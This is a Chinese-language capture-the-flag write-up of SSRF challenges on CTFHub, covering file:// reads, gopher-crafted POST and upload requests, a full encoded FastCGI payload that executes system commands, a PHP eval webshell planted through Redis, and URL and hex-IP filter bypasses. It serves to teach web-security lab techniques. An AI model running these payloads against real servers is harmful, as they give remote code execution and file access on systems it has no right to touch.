web基础之SSRF
1、内网访问
题目提示:访问位于127.0.0.1的flag.php;直接利用ssrf漏洞访问?url=127.0.0.1/flag.php
2、伪协议读取文件
(1)题目提示:尝试去读取一下Web目录下的flag.php吧
(2)什么是伪协议?
file:// 协议:访问本地文件系统;在ctf考察中通常来读取web目录的文件
http/s协议;探测内网主机存活
dict协议:泄露安装软件版本信息,查看端口,操作内网redis服务等
Gopher协议可以说是SSRF中的万金油。利用此协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp等等,也可以发送 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。
(3)构造payload(web根目录一般都是var/www/html)/?url=file:///var/www/html/flag.php
f12拿到flag
3、端口扫描
直接python写一个字典脚本;使用bp进行爆破;直接拿下flag
python脚本:
with open("password.txt", "w") as file:
for i in range(8000, 9001):
file.write(f"{i}\n")
4、post请求
根据题目提示,一共有三个php文件;分别是flag.php、302.php、index.php;访问一下flag.phphttp://challenge-10193e76d50d08cb.sandbox.ctfhub.com:10800?url=127.0.0.1/flag.php
f12发现了key;分析源码发现需要向服务器发送key才能拿到flag;于是构造post请求;使用gopher://协议
进行传输;(自行了解);拿到flag
5、文件上传
构造payload;发现了文件上传点/?url=127.0.0.1/flag.php
直接上传文件;但是发现没有上传按钮,修改html代码,增加提交按钮<input type="submit" value="提交">
上传木马;但是发下上传不上去;那就是用gopher协议
6、FastCGI协议
(1)解释fastcgi协议
则是服务器中间件和某个语言后端进行数据交换的协议。Fastcgi协议由多个record
组成,record也有header和body一说,服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端,语言后端解码以后拿到具体数据,进行指定操作,并将结果再按照该协议封装好后返回给服务器中间件
(2)借助gopherus,构造从127.0.0.1访问payload,访问目录下的index.php, 别问我怎么知道在/var/www/html下有一个index.php文件;然后输入index.php目录,运行一下ls
自行下载gopherus-maste工具
把这一大段拉出来,准备二次编码gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH54%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%006%04%00%3C%3Fphp%20system%28%27ls%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
写一个python脚本,把上述payload进行二次编码;把二次编码后的结果拿出来;放到url;用上述相同的方法读取根目录,这次的RCE远程执行命令为ls /,查看html的上级目录,看到flag
7、Redis协议
(1)Redis是一个流行的开源内存数据管理系统,默认端口为6379。客户端和Redis服务器通过这个端口进行通信,客户端连接到Redis服务器后,对其中的数据进行读写等操作。因此,这个端口也是攻击者的常见攻击目标
(2)还是用gopherus
python2 gopherus.py –exploit redis
PHPShell
<?php eval($_POST["aaa"])?>
antsword连接
拿到flag
8、URL Bypass
请求的URL中必须包含http://notfound.ctfhub.com
,来尝试利用URL的一些特殊地方绕过这个限制吧;利用@如http://notfound.ctfhub.com@www.bbb.com, php会识别www.bbb.com
9、数字IP Bypass
这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢;进制转换?url = 0x7f.0.0.1/flag.php
10、DNS重绑定 Bypass
生存时间(Time To Live)”- 简单的说它表示DNS记录在DNS服务器上缓存时间,数值越小,修改记录各地生效时间越快。
当各地的DNS(LDNS)服务器接受到解析请求时,就会向域名指定的授权DNS服务器发出解析请求从而获得解析记录;该解析记录会在DNS(LDNS)服务器中保存一段时间,这段时间内如果再接到这个域名的解析请求,DNS服务器将不再向授权DNS服务器发出请求,而是直接返回刚才获得的记录;而这个记录在DNS服务器上保留的时间,就是TTL值。
常见的设置TTL值的场景:
1.增大TTL值,以节约域名解析时间
2.减小TTL值,减少更新域名记录时的不可访问时间